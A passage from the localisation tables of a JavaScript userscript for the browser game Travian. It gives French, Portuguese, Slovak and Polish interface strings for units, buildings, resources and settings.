déjà coloniser ou conquérir',\n\t'TIEMPO': 'Temps',\n\t'STAT': 'Statistiques',\n\t'OFREZCO': 'Offre',\n\t'BUSCO': 'Recherche',\n\t'TIPO': 'Type',\n\t'CUALQUIERA': 'Toutes',\n\t'DISPONIBLE': 'Disponible',\n\t'SI': 'Oui',\n\t'NO': 'Non',\n\t'MARCADORES': 'Liens',\n\t'ANYADIR': 'Ajouter',\n\t'ENLACE': 'URL du nouveau lien',\n\t'TEXTO': 'Texte du nouveau lien',\n\t'ARCHIVE': 'Archive',\n\t'ELIMINAR': 'Supprimer',\n\t'ACTUALIZAR': 'Actualiser',\n\t'REFRESH_INFORMARION': 'Actualiser Info',\n\t'RESUMEN': 'Résumé',\n\t'RECURSO1': 'Bois',\n\t'RECURSO2': 'Terre',\n\t'RECURSO3': 'Fer',\n\t'RECURSO4': 'Céréales',\n\t'ALDEA_EXTRA1': 'Envoyer unités',\n\t'ALDEA_EXTRA2': 'Envoyer des ressources',\n\t'ALDEA_EXTRA3': 'Centrer sur carte',\n\t'ALDEA_EXTRA4': 'Vue Globale du village',\n\t'ALDEA_EXTRA5': 'Centre du village',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info Travian-search',\n\t'ALDEA_EXTRA8': 'Localisation sur Travmap',\n\t'ADD_ALL': 'Pour tous ',\n\t'DEMO': 'Bâtiment Principal',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'Dist et Tps',\n\t'TAB1': 'Pour localisation sur Travmap (pastille rouge), Séparer vos alliances multiples par une virgule. (ex: A,B,C)',\n\t'TAB2': 'Editer ses Marques Pages',\n\t'TAB3': 'Bloc-note',\n\t'TAB4': 'Prix de vente au Marché',\n\t'TAB5': 'Afficher Info tableau ressources',\n\t'TAB6': 'Afficher Info tableau bâtiments',\n\t'TAB7': 'Affichage compteur dépot',\n\t'TAB8': 'Afficher Marques pages bât.administratif',\n\t'TAB9': 'Afficher Marques pages bât.militaire',\n\t'TAB10': 'Afficher Marques pages bât.d amélioration',\n\t'TAB11': 'Afficher raccourci Tableau',\n\t'TAB12': 'Afficher Marques pages',\n\t'TAB13': 'Affichage Info TSU',\n\t'TAB13B': 'Affichage Info Travian World Analyzer',\n\t'TAB14': 'Affichage Info Travian-search',\n\t'TAB15': 'Affichage N° sur bâtiments',\n\t'TAB16': 'Afficher le contenu des messages',\n\t'TAB17': 'Afficher le bloc-note',\n\t'TAB18': 'Affichage Info Travmap',\n\t'TAB19': 'Afficher Marques pages bât. Hôtel de ville',\n\t'TAB20': 'Simplifier la liste des liens à gauche',\n\t'TAB21': 'Simplifier le résumé des villages',\n\t'TAB22': 'Reposition le résumé des villages',\n\t'TAB23': 'Modifier Attaque: Pillage / Normal',\n\t'TAB24': 'Reposition le compteur dépot',\n\t'TAB25': 'Afficher le total des troupes du village dans la place de rassemblement',\n\t'TAB26': 'Afficher Tableau résumé village',\n\t'TAB27': 'Image serveur privé : [ ]<br>Image serveur travian : [x]',\n\t'TAB28': 'Marquer N° ID capital (ex: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': 'Afficher l\\'extension d\\'icone',\n\t'TAB30': 'Afficher Battle Analyse',\n\t'TAB31': 'Afficher Aide BBcode',\n\t'TAB32': 'Afficher N° sur ressources',\n\t'TAB33': 'Afficher l\\'aide NPC',\n\t'TAB34': 'Afficher Rapport rapide',\n\t'TAB35': 'Vitesse de votre unité pour le popups (ex pour le sénateur : 4)',\n\t'CLEAN': ' Effacer',\n\t'PAL': 'Palais',\n\t'RESI': 'Résidence',\n\t'MAN': 'Manoir du héros',\n\t'USI': 'Usine armures',\n\t'ARM': 'Armurerie',\n\t'HOT': 'Hôtel de ville',\n\t'IGMTITLE': 'Thème',\n\t'IGMSENTER': 'Expéditeur',\n\t'IGMDATE': 'Date',\n\t'IGMTIME': 'Heure',\n\t'IGMOUTPUT': 'Afficher le contenu des messages',\n\t'MAXTIME': 'Temps maximum',\n\t'LOGIN': 'Login',\n\t'TT': 'Vue globale',\n\t'RESS': 'Ressources',\n\t'DEP': 'Dépôt de ressource',\n\t'PC': 'PC',\n\t'TROP': 'Troupes',\n\t'MINI': 'Mini',\n\t'ATT': 'Attaques',\n\t'CONS': 'Constructions',\n\t'FT': 'Fête',\n\t'FT1': 'petite fête',\n\t'FT2': 'grande fête',\n\t'EXT': 'Extension',\n\t'IN': 'dans',\n\t'JUGADOR': 'Joueur',\n\t'HAB': 'Population',\n\t'COORD': 'Coordonnées',\n\t'ACCION': 'Actions',\n\t'MAPSCAN': 'Scan map',\n\t'AID': 'Aide',\n\t'VITS': 'Vitesse',\n\t'CAPA': 'Capacité',\n\t'DIST': 'Distance',\n\t'MP': 'Marque-page ',\n\t'UPDATE_CHECK': 'Vérifier version',\n\t'LAST_VERSION': 'Vous avez la dernière version disponible',\n\t'NEW_VERSION': 'Une nouvelle version est disponible',\n\t'UPDATE_NOW': 'Mettre à jour maintenant',\n\t'R1': 'Legionnaire', //romain\n\t'R2': 'Prétorien',\n\t'R3': 'Impérian',\n\t'R4': 'Equites Legati',\n\t'R5': 'Equites Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Bélier',\n\t'R8': 'Catapulte de feu',\n\t'R9': 'Sénateur',\n\t'R10': 'Colon',\n\t'T1': 'Combattant au gourdin', //teuton\n\t'T2': 'Combattant à la lance',\n\t'T3': 'Combattant à la hache',\n\t'T4': 'Eclaireur',\n\t'T5': 'Paladin',\n\t'T6': 'Cavalier Teuton',\n\t'T7': 'Bélier',\n\t'T8': 'Catapulte',\n\t'T9': 'Chef de tribu',\n\t'T10': 'Colon',\n\t'G1': 'Phalange', //gaulois\n\t'G2': 'Combattant à l épée',\n\t'G3': 'Eclaireur',\n\t'G4': 'Eclair de Toutatis',\n\t'G5': 'Cavalier druide',\n\t'G6': 'Hédouin',\n\t'G7': 'Bélier',\n\t'G8': 'Catapulte de Guerre',\n\t'G9': 'Chef',\n\t'G10': 'Colon',\n\t'N1': 'Rat', //nature\n\t'N2': 'Araignée',\n\t'N3': 'Serpent',\n\t'N4': 'Chauves-souris',\n\t'N5': 'Sangliers',\n\t'N6': 'Loups',\n\t'N7': 'Ours',\n\t'N8': 'Crocodile',\n\t'N9': 'Tigre',\n\t'N10': 'Elephant',\n\t'LVL': 'niveau',\t\t\t//tres important\n\t'MARC': 'Marchands',\t\t//tres important\n\t'TOTAL': 'Total',\n\t'WASTED_SPACE' : 'Gaspillage',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Important',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Texte',\n\t'LBA0':'Taille totale de l\\'attaque',\n\t//'LBA1':'Equivalent des pertes',\n\t'LBA2':'Taille totale de la défense contre l\\'infanterie',\n\t'LBA3':'Taille totale de la défense contre la cavalerie',\n\t'LBA4':'Statistiques générales',\n\t'LBA5':'Différence de pertes',\n\t'LBA6':'Consommation',\n\t'LBA7':'Exp du héro',\n\t//'LBA8':'Capacité',\n\t'LBA9':'Equivalent perdu en céréales',\n\t'LBA10':'Consommation de céréales par l\\'armée',\n\t'LBA11':'Le héro n\\'était pas présent',\n\t'LBA12':'Héro',\n\t'LBA13':'Quantité de matières premières emportées',\n\t'LBA14':'Capacité de charge',\n\t'LBA15':'Attaquant',\n\t'LBA16':'Défenseur',\n\t'LBA17': 'Copier et aller au simulateur de combat',\n\t'LBA18': 'Coller',\n\t'BBC': 'Utiliser BBcodes',\n\t'BBC_B': 'Gras: [b]Texte[/b]',\n\t'BBC_I': 'Italique: [i]Texte[/i]',\n\t'BBC_U': 'Souligner: [u]Texte[/u]',\n\t'BBC_C': 'Centrer: [c]Texte[/c]',\n\t'BBC_COLOR': 'Couleurs: [color=blue]Texte[/color] Conseil: Vous pouvez utiliser le Codage RVB: color=#0000FF et #00F',\n\t'BBC_URL': 'Liens: [url]http://url[/url] ou [url=http://url]Liens texte[/url]',\n\t'THS0': 'Courant:',\n\t'THS1': 'Suivant:',\n\t'THS2': 'Besoin:'\n\t}\n\tbreak;\n\tcase \"pt\":\t\t// Por MikeP (Dedicado a Li), corregido y ampliado por Joao Frade + google mik\n\tcase \"br\":\n\tvar newLang = {\n\t'ALIANZA': 'Alian&ccedil;a',\n\t'SIM': 'Simulador',\n\t'SEGURO': 'Tem a certeza?',\n\t'MARK': 'Seleccionar tudo',\n\t'PERDIDAS': 'Perdas',\n\t'RENT': 'Lucro',\n\t'SUBIR_NIVEL': 'J&aacute; podes subir de n&iacute;vel',\n\t'ALDEA': 'Nome da Aldeia',\n\t'ATACAR': 'Atacar',\n\t'COMERCIAR': 'Enviar recursos',\n\t'GUARDADO': 'Guardado',\n\t'DESP_ABR': 'Mov.',\n\t'FALTA': 'Faltam',\n\t'HOY': 'hoje',\n\t'MANYANA': 'amanh&atilde;',\n\t'PAS_MANYANA': 'depois de amanh&atilde;',\n\t'MERCADO': 'Mercado',\n\t'CUARTEL': 'Quartel',\n\t'PUNTO': 'ponto de encontro',\n\t'CORRAL': 'Cavalari&ccedil;a',\n\t'TALLER': 'Oficina',\n\t'ENVIAR': 'Enviar mat&eacute;rias primas',\n\t'COMPRAR': 'Comprar mat&eacute;rias primas',\n\t'VENDER': 'Vender mat&eacute;rias primas',\n\t'ENVIAR_IGM': 'Enviar IGM',\n\t'LISTO': 'Dispon&iacute;vel',\n\t'EL': 'a',\n\t'A_LAS': '&agrave;s',\n\t'EFICIENCIA': 'Efici&ecirc;ncia',\n\t'NUNCA': 'Nunca',\n\t'PC': 'pontos de cultura',\n\t'FUNDAR': 'Podes fundar ou conquistar uma nova aldeia',\n\t'TIEMPO': 'Tempo',\n\t'STAT': 'Estat&iacute;stica',\n\t'OFREZCO': 'Oferece',\n\t'BUSCO': 'Pede',\n\t'TIPO': 'Tipo',\n\t'CUALQUIERA': 'Qualquer',\n\t'DISPONIBLE': 'S&oacute; dispon&iacute;veis',\n\t'SI': 'Sim',\n\t'NO': 'N&atilde;o',\n\t'MARCADORES': 'Atalhos',\n\t'ANYADIR': 'Adicionar',\n\t'ENLACE': 'Sitio do novo atalho',\n\t'TEXTO': 'Texto para o novo atalho',\n\t'ARCHIVE': 'Archive',\n\t'ELIMINAR': 'Eliminar',\n\t'ACTUALIZAR': 'Atualizar',\n\t'REFRESH_INFORMARION': 'Atualizar info',\n\t'RESUMEN': 'Resumo',\n\t'RECURSO1': 'Madeira',\n\t'RECURSO2': 'Barro',\n\t'RECURSO3': 'Ferro',\n\t'RECURSO4': 'Cereais',\n\t'ALDEA_EXTRA1': 'Enviar tropas',\n\t'ALDEA_EXTRA2': 'Enviar recursos',\n\t'ALDEA_EXTRA3': 'Centramento no mapa',\n\t'ALDEA_EXTRA4': 'Aldeia global',\n\t'ALDEA_EXTRA5': 'Centro aldeia',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info Travian-search',\n\t'ALDEA_EXTRA8': 'Situação em Travmap',\n\t'ADD_ALL': 'Para todos os ',\n\t'DEMO': 'Demolição',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'Distâncias_e_Hora',\n\t'TAB1': 'Para a localização Travmap (vermelho), seu Separe várias alianças com uma vírgula. (ex: A,B,C)',\n\t'TAB2': 'Edite suas páginas marcas',\n\t'TAB3': 'Bloco de notas',\n\t'TAB4': 'Preço vendas mercado',\n\t'TAB5': 'Info mesa recursos (0 ou 1)',\n\t'TAB6': 'Info tabela edifícios (0 ou 1)',\n\t'TAB7': 'Vendo metros depósito (0 ou 1)',\n\t'TAB8': 'Marcas páginas edif.administratif (0 ou 1)',\n\t'TAB9': 'Marcas páginas edif.militaire (0 ou 1)',\n\t'TAB10': 'Marcas páginas edif.d melhoria (0 ou 1)',\n\t'TAB11': 'Marcas páginas Perso Mik (0 ou 1)',\n\t'TAB12': 'Mostrar páginas Marks',\n\t'TAB13': 'Mostrar Info TSU (0 ou 1)',\n\t'TAB13B': 'Mostrar Info Travian World Analyzer (0 ou 1)',\n\t'TAB14': 'Mostrar Info Travian-search (0 ou 1)',\n\t'TAB15': 'Sem vídeo sobre imóveis (0 ou 1)',\n\t'TAB16': 'Mostrar o conteúdo das mensagens (0 ou 1)',\n\t'TAB17': 'Ver notepad cargos de nível (0 ou 1)',\n\t'TAB18': 'Mostrar Info Travmap (0 ou 1)',\n\t'TAB19': 'Marcas páginas edif. Casa do Povo (0 ou 1)',\n\t'TAB20': 'Simplificar a lista de links para a esquerda (0 ou 1)',\n\t'TAB21': 'Simplificar o resumo das aldeias (0 ou 1)',\n\t'TAB22': 'Reposicionar o resumo das aldeias (0 ou 1)',\n\t'CLEAN': ' Apagar',\n\t'PAL': 'Palácio',\n\t'RESI': 'Residência',\n\t'MAN': 'Mansão do Herói',\n\t'USI': 'Fábrica de Armaduras',\n\t'ARM': 'Ferreiro',\n\t'HOT': 'Casa do Povo',\n\t'IGMTITLE': 'Tema',\n\t'IGMSENTER': 'Dispatcher',\n\t'IGMDATE': 'Data',\n\t'IGMTIME': 'Tempo',\n\t'IGMOUTPUT': 'Mostrar o conteúdo das mensagens',\n\t'MAXTIME': 'Tempo máximo',\n\t'LOGIN': 'Login',\n\t'TT': 'Visão geral',\n\t'RESS': 'Recursos',\n\t'DEP': 'Apresentação de recurso',\n\t'PC': 'PC',\n\t'TROP': 'Tropas',\n\t'MINI': 'Mini',\n\t'ATT': 'Ataques',\n\t'CONS': 'Construção',\n\t'FT': 'Festa',\n\t'FT1': 'pequena festa',\n\t'FT2': 'grande festa',\n\t'EXT': 'Prorrogação',\n\t'IN': 'em',\n\t'JUGADOR': 'Jogador',\n\t'HAB': 'Habitantes',\n\t'ACCION': 'Ac&ccedil;&otilde;es',\n\t'COORD': 'Coordenadas',\n\t'LVL': 'vel',\n\t'MARC': 'Mercadores',\n\t'TOTAL': 'Total',\n\t'WASTED_SPACE' : 'Espaço Desperdiçado'\n\t}\n\tbreak;\t\t//eror : Slovak language only 30%\n\tcase \"sk\":\t//updated by Matthew-PoP\n\tvar newLang = {\n\t'ALIANZA': 'Alliancia',\n\t'SIM': 'Bojový simulátor',\n\t'SEGURO': 'Naozaj?',\n\t'MARK': 'Vybrať všetko',\n\t'PERDIDAS': 'Strata',\n\t'RENT': 'Zisk',\n\t'SUBIR_NIVEL': 'Môžeš rozšíriť',\n\t'ALDEA': 'Meno dediny',\n\t'ATACAR': 'Útok',\n\t'COMERCIAR': 'Poslať suroviny',\n\t'GUARDADO': 'Uložené',\n\t'DESP_ABR': 'Mov.',\n\t'FALTA': 'Potrebuješ',\n\t'HOY': 'dnes',\n\t'MANYANA': 'zajtra',\n\t'PAS_MANYANA': 'pozajtra',\n\t'MERCADO': 'Obchod',\n\t'CUARTEL': 'Kasárne',\n\t'PUNTO': 'Zhromaždisko',\n\t'CORRAL': 'Stajne',\n\t'TALLER': 'Dielňa',\n\t'ENVIAR': 'Poslať suroviny',\n\t'COMPRAR': 'Kúpiť',\n\t'VENDER': 'Predať',\n\t'ENVIAR_IGM': 'Poslať správu',\n\t'LISTO': 'Pripravené',\n\t'EL': 'na',\n\t'A_LAS': 'o',\n\t'EFICIENCIA': 'Efektivita',\n\t'NUNCA': 'Nikdy',\n\t'PC': 'Kultúrne body',// is not necessary\n\t'FUNDAR': 'You can found or conquer a new village',\n\t'TIEMPO': 'Čas',\n\t'STAT': 'Štatistika',\n\t'OFREZCO': 'Ponuka',\n\t'BUSCO': 'Hľadám',\n\t'TIPO': 'Typ',\n\t'CUALQUIERA': 'Hociaká',\n\t'DISPONIBLE': 'Len dostupné',\n\t'SI': 'Áno',\n\t'NO': 'Nie',\n\t'MARCADORES': 'Záložky',\n\t'ANYADIR': 'Pridať',\n\t'ENLACE': 'Url záložky',\n\t'TEXTO': 'Text záložky',\n\t'ARCHIVE': 'Archív',\n\t'ELIMINAR': 'Vymazať',\n\t'ACTUALIZAR': 'obnoviť',\n\t'REFRESH_INFORMARION': 'obnoviť Informácie',\n\t'RESUMEN': 'Zhrnutie',\n\t'RECURSO1': 'Dreva',\n\t'RECURSO2': 'Hlin',\n\t'RECURSO3': 'Železa',\n\t'RECURSO4': 'Obilia',\n\t'ALDEA_EXTRA1': 'Poslať jednotky',\n\t'ALDEA_EXTRA2': 'Poslať suroviny',\n\t'ALDEA_EXTRA3': 'Vecentrovať na mape',\n\t'ALDEA_EXTRA4': 'View Global on village',\n\t'ALDEA_EXTRA5': 'Vecentrovať na dedine',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Infomácie na Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info na Travian-search',\n\t'ALDEA_EXTRA8': 'Pozícia na Travmap',\n\t'ADD_ALL': 'Pre všetkých',\n\t'DEMO': 'Main Building',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'vzdialenosť a čas',\n\t'TAB1': 'For location on Travmap (red), your Separate multiple alliances with a comma.(ex: A,B,C)',\n\t'TAB2': 'Edituj záložku',\n\t'TAB3': 'Poznámkový blok',\n\t'TAB4': 'Price Sales Market',\n\t'TAB5': 'Ukáž info tabuľu mužov',\n\t'TAB6': 'Ukáž info tabuľu o budovách',\n\t'TAB7': 'Show meter deposit',\n\t'TAB8': 'Show Bookmarks build.admin',\n\t'TAB9': 'Show Bookmarks build.military',\n\t'TAB10': 'Ukáž Bookmarks build.for improvement',\n\t'TAB11': 'Ukáž Bookmarks Custom',\n\t'TAB12': 'Ukáž záložky',\n\t'TAB13': 'Show Info TSU',\n\t'TAB13B': 'Show Info Travian World Analyzer',\n\t'TAB14': 'Show Info Travian-search',\n\t'TAB15': 'Show N° on building',\n\t'TAB16': 'Show the content of messages',\n\t'TAB17': 'Show notepad of messages',\n\t'TAB18': 'Show Info Travmap',\n\t'TAB19': 'Show Bookmarks build. Town Hall',\n\t'TAB20': 'Simplifying the list of links to the left',\n\t'TAB21': 'Simplifying the summary of villages',\n\t'TAB22': 'Reposition the summary of villages',\n\t'TAB23': 'Change Attack: Raid / Normal',\n\t'TAB24': 'Reposition of meter deposit',\n\t'TAB25': 'Show total numbers of troops in village (Rallypoint)',\n\t'TAB26': 'Display overview village table',\n\t'TAB27': 'Image server private : [ ]<br>Image server travian : [x]',\n\t'TAB28': 'Insert capital ID (ex: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': 'Show extended icons',\n\t'TAB30': 'Show Battle Analyse',\n\t'TAB31': 'Show BBcode Help',\n\t'TAB32': 'Show N° on means',\n\t'TAB33': 'Show NPC Helper',\n\t'TAB34': 'Show Quick Report',\n\t'TAB35': 'Speed of your unit for popups (ex for the senator: 4)',\n\t'CLEAN': ' Clean',\n\t'PAL': 'Palac',\n\t'RESI': 'Rezidencia',\n\t'MAN': 'Dvor hrdinov',\n\t'USI': 'Zbrojnica',\n\t'ARM': 'Kováčšká dielňa',\n\t'HOT': 'Radnica',\n\t'IGMTITLE': 'Téma',\n\t'IGMSENTER': 'odosielateľ',\n\t'IGMDATE': 'dátum',\n\t'IGMTIME': 'čas',\n\t'IGMOUTPUT': 'Show the contents of the letters',\n\t'MAXTIME': 'Maximálny čas',\n\t'LOGIN': 'Login',\n\t'TT': 'Total view',\n\t'RESS': 'Means',\n\t'DEP': 'Warehouse',\n\t'PC': 'CP',\n\t'TROP': 'Troops',\n\t'MINI': 'Mini',\n\t'ATT': 'Attacks',\n\t'CONS': 'Building',\n\t'FT': 'Party',\n\t'FT1': 'small party',\n\t'FT2': 'big party',\n\t'EXT': 'Extension',\n\t'IN': 'in',\n\t'JUGADOR': 'Player',\n\t'HAB': 'Population',\n\t'COORD': 'Coords',\n\t'ACCION': 'Actions',\n\t'MAPSCAN': 'Scan Map',\n\t'AID': 'Help',\n\t'VITS': 'Speed',\n\t'CAPA': 'Capacity',\n\t'DIST': 'Distance',\n\t'MP': 'To Bookmarks ',\n\t'UPDATE_CHECK': 'Skontroluj verziu',\n\t'LAST_VERSION': 'Máte poslednú verziu',\n\t'NEW_VERSION': 'Je novšia verzia',\n\t'UPDATE_NOW': 'Updatovať teraz?',\n\t'R1': 'Legionnár', // Romans\n\t'R2': 'Praetorian',\n\t'R3': 'Imperian',\n\t'R4': 'Equites Legati',\n\t'R5': 'Equites Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Battering Ram',\n\t'R8': 'Ohnivý katapult',\n\t'R9': 'Senátor',\n\t'R10': 'Settler',\n\t'T1': 'Clubswinger', // Teutons\n\t'T2': 'Spearman',\n\t'T3': 'Axeman',\n\t'T4': 'Scout',\n\t'T5': 'Paladin',\n\t'T6': 'Teutonic Knight',\n\t'T7': 'Ram',\n\t'T8': 'Catapult',\n\t'T9': 'Chief',\n\t'T10': 'Settler',\n\t'G1': 'Phalanx', // Gauls\n\t'G2': 'Swordsman',\n\t'G3': 'Pathfinder',\n\t'G4': 'Theutates Thunder',\n\t'G5': 'Druidrider',\n\t'G6': 'Haeduan',\n\t'G7': 'Ram',\n\t'G8': 'Trebuchet',\n\t'G9': 'Chieftain',\n\t'G10': 'Settler',\n\t'N1': 'Rat', // Nature\n\t'N2': 'Spider',\n\t'N3': 'Serpent',\n\t'N4': 'Bat',\n\t'N5': 'Wild boar',\n\t'N6': 'Wolf',\n\t'N7': 'Bear',\n\t'N8': 'Crocodile',\n\t'N9': 'Tiger',\n\t'N10': 'Elephant',\n\t'LVL': 'level',\t\t\t// Very important\n\t'MARC': 'Merchants',\t\t// Very important\n\t'TOTAL': 'Total',\n\t'WASTED_SPACE': 'Wasted Space',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Important',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Text',\n\t'SAVEREPORT': 'save report',\n\t'ANONYMIZE': 'anonyme',\n\t'LBA0': 'Total size of attack',\n\t'LBA2': 'Total size of protection against infantry',\n\t'LBA3': 'Total size of protection against a cavalry',\n\t'LBA4': 'The general statistics',\n\t'LBA5': 'Difference of losses',\n\t'LBA6': 'Consumption',\n\t'LBA7': 'Exp of heroes',\n\t'LBA9': 'Equivalent lost in grain',\n\t'LBA10': 'Nominal consumption of grain by army',\n\t'LBA11': 'The hero was not',\n\t'LBA12': 'Hrdina',\n\t'LBA13': 'Quantity of the carried away raw material',\n\t'LBA14': 'The maximal capacity survived',\n\t'LBA15': 'Attacking',\n\t'LBA16': 'Defending',\n\t'LBA17': 'Copy and go to Combat simulator',\n\t'LBA18': 'Paste',\n\t'BBC': 'Useable BBcodes',\n\t'BBC_B': 'Bold: [b]Text[/b]',\n\t'BBC_I': 'Italic: [i]Text[/i]',\n\t'BBC_U': 'Underscore: [u]Text[/u]',\n\t'BBC_C': 'Center: [c]Text[/c]',\n\t'BBC_COLOR': 'Colors: [color=blue]Text[/color] Tipp: You can use these too: color=#0000FF and #00F',\n\t'BBC_URL': 'Link: [url]http://url[/url] or [url=http://url]Link text[/url]',\n\t'BBC_IMG': 'Image: [img]URL[/img]',\n\t'THS0': 'Current XP:',\n\t'THS1': 'Next Level:',\n\t'THS2': 'Needed:'\n\t};\n\tbreak;\n\tcase \"pl\":\t\t// emmperor : Polish language update by kisiel96\n\tvar newLang = {\n\t'ALIANZA': 'Sojusz',\n\t'SIM': 'Symulator walki',\n\t'SEGURO': 'Jesteś pewny?',\n\t'MARK': 'Zaznacz wszystko',\n\t'PERDIDAS': 'Straty',\n\t'RENT': 'Zysk',\n\t'SUBIR_NIVEL': 'Możliwe',\n\t'ALDEA': 'Nazwa osady',\n\t'ATACAR': 'Atak',\n\t'COMERCIAR': 'Wyślij surowce',\n\t'GUARDADO': 'Zapisane',\n\t'DESP_ABR': 'Przes.',\n\t'FALTA': 'Potrzebujesz',\n\t'HOY': 'dzisiaj',\n\t'MANYANA': 'jutro',\n\t'PAS_MANYANA': 'pojutrze',\n\t'MERCADO': 'Rynek',\n\t'CUARTEL': 'Koszary',\n\t'PUNTO': 'Miejsce zbiórki',\n\t'CORRAL': 'Stajnia',\n\t'TALLER': 'Warsztat',\n\t'ENVIAR': 'Wyślij surowce',\n\t'COMPRAR': 'Kup',\n\t'VENDER': 'Sprzedaj',\n\t'ENVIAR_IGM': 'Wyślij PW',\n\t'LISTO': 'Możliwe',\n\t'EL': 'dnia',\n\t'A_LAS': 'o',\n\t'EFICIENCIA': 'Efektywność',\n\t'NUNCA': 'Nigdy',\n\t'PC': 'Punkty kultury',\n\t'FUNDAR': 'Możesz założyć lub podbić nową osadę',\n\t'TIEMPO': 'Czas',\n\t'STAT': 'Statystyka',\n\t'OFREZCO': 'Oferuję',\n\t'BUSCO': 'Szukam',\n\t'TIPO': 'Przelicznik',\n\t'CUALQUIERA': 'Dowolny',\n\t'DISPONIBLE': 'Tylko wybrane',\n\t'SI': 'Tak',\n\t'NO': 'Nie',\n\t'MARCADORES': 'Zakładki',\n\t'ANYADIR': 'Dodaj',\n\t'ENLACE': 'URL Nowej Zakładki',\n\t'TEXTO': 'Nazwa Nowej Zakładki',\n\t'ARCHIVE': 'Archiwum',\n\t'ELIMINAR': 'Usuń',\n\t'ACTUALIZAR': 'Aktualizuj',\n\t'REFRESH_INFORMARION': 'Aktualizuj Info',\n\t'RESUMEN': 'Podsumowanie',\n\t'RECURSO1': 'Drewno',\n\t'RECURSO2': 'Glina',\n\t'RECURSO3': 'Żelazo',\n\t'RECURSO4': 'Zboże',\n\t'ALDEA_EXTRA1': 'Wyślij jednostki',\n\t'ALDEA_EXTRA2': 'Wyślij surowce',\n\t'ALDEA_EXTRA3': 'Wycentruj na mapie',\n\t'ALDEA_EXTRA4': 'Widok globalny wioski',\n\t'ALDEA_EXTRA5': 'Wycentruj na wiosce',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info Travian-search',\n\t'ALDEA_EXTRA8': 'Lokalizacja na Travmap',\n\t'ADD_ALL': 'Każdego ',\n\t'DEMO': 'Wyburz Budynek',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'Odleglość i Czas',\n\t'TAB1': 'Dla lokalizacji na Travmap (czerwona kropka), oddzielasz rożne sojusze przecinkiem np: A,B,C',\n\t'TAB2': 'Edytuj własne zakładki',\n\t'TAB3': 'Notatnik',\n\t'TAB4': 'Price Sales Market',\n\t'TAB5': 'Tabelka z kopalniami',\n\t'TAB6': 'Tabelka z budynkami',\n\t'TAB7': 'Licznik surowców',\n\t'TAB8': 'Zakładki budynków administracyjnych',\n\t'TAB9': 'Zakładki budynków wojskowych',\n\t'TAB10': 'Zakładki budynków badań',\n\t'TAB11': 'Zakładki podsumowania osad',\n\t'TAB12': 'Pokaż Zakładki',\n\t'TAB13': 'Pokaż Info TSU',\n\t'TAB13B': 'Pokaż Info Travian World Analyzer',\n\t'TAB14': 'Pokaż Info Travian-search',\n\t'TAB15': 'Pokaż numery na budynkach',\n\t'TAB16': 'Pokaż zawartość wiadomości',\n\t'TAB17': 'Pokaż notatnik',\n\t'TAB18': 'Pokaz Info Travmap',\n\t'TAB19': 'Zakładka budynku Ratusz',\n\t'TAB20': 'Uproszczona lista linków z lewej strony',\n\t'TAB21': 'Uproszczone podsumowanie osad',\n\t'TAB22': 'Rozbudowane podsumowanie osad',\n\t'TAB23': 'Wybór ataku: Grabież/Normalny',\n\t'TAB24': 'Pozycja Licznika surowców',\n\t'TAB25': 'Pokaż wszystkie jednostki w osadzie (Miejsce Zbiórki)',\n\t'TAB26': 'Pokaż tabelke z podsumowaniem osad',\n\t'TAB27': 'Image server private : [ ]<br>Image server travian : [x]',\n\t'TAB28': 'ID stolicy np.: 13695\\n<br>-> http:/*/dorf1.php?newdid=13695',\n\t'TAB29': 'Ikony szybkiej nawigacji',\n\t'TAB30': 'Pokaż Battle Analyse',\n\t'TAB31': 'Pokaż przyciski BBcode',\n\t'TAB32': 'Pokaż lvl budynków',\n\t'TAB33': 'Pokaż NPC Helper',\n\t'CLEAN': ' Wyczyść',\n\t'PAL': 'Pałac',\n\t'RESI': 'Rezydencja',\n\t'MAN': 'Dwór bohaterów',\n\t'USI': 'Kuźnia',\n\t'ARM': 'Zbrojownia',\n\t'HOT': 'Ratusz',\n\t'IGMTITLE': 'Temat',\n\t'IGMSENTER': 'nadawca',\n\t'IGMDATE': 'data',\n\t'IGMTIME': 'czas',\n\t'IGMOUTPUT': 'Pokaż zawartość listów',\n\t'MAXTIME': 'Maksymalny czas',\n\t'LOGIN': 'Login',\n\t'TT': 'Przegląd osad',\n\t'RESS': 'Magazyny',\n\t'DEP': 'Stan magazynów',\n\t'PC': 'PK',\n\t'TROP': 'Jednostki',\n\t'MINI': 'Mini',\n\t'ATT': 'Ataki',\n\t'CONS': 'Budynki',\n\t'FT': 'Święta',\n\t'FT1': 'Małe święto',\n\t'FT2': 'Duże święto',\n\t'EXT': 'Ekspansja',\n\t'IN': 'w',\n\t'JUGADOR': 'Gracz',\n\t'HAB': 'Populacja',\n\t'COORD': 'Koordynaty',\n\t'ACCION': 'Akcja',\n\t'MAPSCAN': 'Skanuj mape',\n\t'AID': 'Pomoc',\n\t'VITS': 'Speed',\n\t'CAPA': 'Udźwig',\n\t'DIST': 'Dystans',\n\t'MP': 'Do zakładek ',\n\t'UPDATE_CHECK': 'Sprawdź aktualizację',\n\t'LAST_VERSION': 'Posiadasz najnowszą wersję',\n\t'NEW_VERSION': 'Nowa wersja jest dostępna',\n\t'UPDATE_NOW': 'Aktualizuj teraz',\n\t'R1': 'Legionista', //romain\n\t'R2': 'Pretorianin',\n\t'R3': 'Centurion',\n\t'R4': 'Equites Legati',\n\t'R5': 'Equites 